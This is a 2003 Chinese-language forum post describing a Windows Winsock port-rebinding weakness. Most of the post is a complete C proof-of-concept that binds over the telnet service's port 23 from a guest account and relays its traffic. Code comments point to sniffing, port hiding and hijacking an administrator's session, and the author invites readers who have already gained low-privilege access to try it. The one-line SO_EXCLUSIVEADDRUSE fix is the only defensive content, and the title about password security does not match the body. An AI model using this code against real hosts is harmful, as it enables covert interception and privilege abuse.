線上訂房服務-台灣趴趴狗聯合訂房中心
發文 回覆 瀏覽次數:887
推到 Plurk!
推到 Facebook!

進一步加強Windows系統密碼的安全性

 
AB
高階會員


發表:166
回覆:262
積分:125
註冊:2003-08-21

發送簡訊給我
#1 引用回覆 回覆 發表時間:2003-11-30 01:33:21 IP:61.64.xxx.xxx 未訂閱
進一步加強Windows系統密碼的安全性    
 
在WINDOWS的SOCKET伺服器應用的編程中,如下的語句或許比比都是:
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY); 
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其實這當中存在在非常大的安全隱患,因爲在winsock的實現中,
對於伺服器的綁定是可以多重綁定的,在確定多重綁定使用誰的時候,
根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有許可權之分,
也就是說低級許可權的用戶是可以重綁定在高級許可權如服務啓動的埠上的
,這是非常重大的一個安全隱患。
這意味著什麽?意味著可以進行如下的攻擊:
1。一個木馬綁定到一個已經合法存在的埠上進行埠的隱藏,
他通過自己特定的包格式判斷是不是自己的包,如果是自己處理
,如果不是通過127.0.0.1的位址交給真正的伺服器應用進行處理。
2。一個木馬可以在低許可權用戶上綁定高許可權的服務應用的埠
,進行該處理資訊的嗅探,本來在一個主機上監聽一個SOCKET的通訊
需要具備非常高的許可權要求,但其實利用SOCKET重綁定,
你可以輕易的監聽具備這種SOCKET編程漏洞的通訊,
而無須採用什麽挂接,鈎子或低層的驅動技術
(這些都需要具備管理員許可權才能達到)
3。針對一些的特殊應用,可以發起中間人攻擊,從低許可權用戶上
獲得資訊或事實欺騙,如在guest許可權下攔截telnet伺服器的23埠
,如果是採用NTLM加密認證,雖然你無法通過嗅探直接獲取密碼,
但一旦有admin用戶通過你登陸以後,你的應用就完全可以發起中間人攻擊
,扮演這個登陸的用戶通過SOCKET發送高許可權的命令,到達入侵的目的。    4.對於構建的WEB伺服器,入侵者只需要獲得低級的許可權,就可以完全達到
更改網頁目的,很簡單,扮演你的伺服器給予連接請求以其他資訊的應答
,甚至是基於電子商務上的欺騙,獲取非法的資料。 
其實,MS自己的很多服務的SOCKET編程都存在這樣的問題,
telnet,ftp,http的服務實現全部都可以利用這種方法進行攻擊,
在低許可權用戶上實現對SYSTEM應用的截聽。包括W2K SP3的IIS也都一樣
,那麽如果你已經可以以低許可權用戶入侵或木馬植入的話,
而且對方又開啓了這些服務的話,那就不妨一試。並且我估計還有很多
第三方的服務也大多存在這個漏洞。
解決的方法很簡單,在編寫如上應用的時候,綁定前需要使用
setsockopt指定SO_EXCLUSIVEADDRUSE要求獨佔所有的埠地址,
而不允許複用。這樣其他人就無法複用這個埠了。
下面就是一個簡單的截聽ms telnet伺服器的例子,在GUEST用戶下
都能成功進行截聽,剩餘的就是大家根據自己的需要,進行一些
特殊剪裁的問題了:如是隱藏,嗅探資料,高許可權用戶欺騙等。
#include 
#include 
#include 
#include 
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//截聽雖然也可以將位址指定爲INADDR_ANY,但是要不能影響正常應用情況下,
應該指定具體的IP,留下127.0.0.1給正常的服務應用,然後利用這個地址進行
轉發,就可以不影響對方正常應用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR選項就是可以實現埠重綁定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功,
返回無許可權的錯誤代碼;
//如果是想通過重利用埠達到隱藏的目的,就可以動態的測試
當前已綁定的埠哪個可以成功,就說明具備這個漏洞,
然後動態利用埠使得更隱蔽
//其實UDP埠一樣可以這樣重綁定利用,
這兒主要是以TELNET服務爲例子進行攻擊
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2); 
while(1)
{
caddsize = sizeof(scaddr);
//接受連接請求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隱藏埠應用的話,可以在此處加一些判斷
//如果是自己的包,就可以進行一些特殊處理,
不是的話通過127.0.0.1進行轉發
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代碼主要是實現通過127。0。0。1這個地址把包轉發到真正的應用上
,並把應答的包再轉發回去。
//如果是嗅探內容的話,可以再此處進行內容分析和記錄
//如果是攻擊如TELNET伺服器,利用其高許可權登陸用戶的話
,可以分析其登陸用戶,然後利用發送特定的包以劫持的用戶身份執行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
來源:cnhk     
發表人 - ab 於 2003/11/30 03:22:55
系統時間:2024-05-02 6:18:45
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!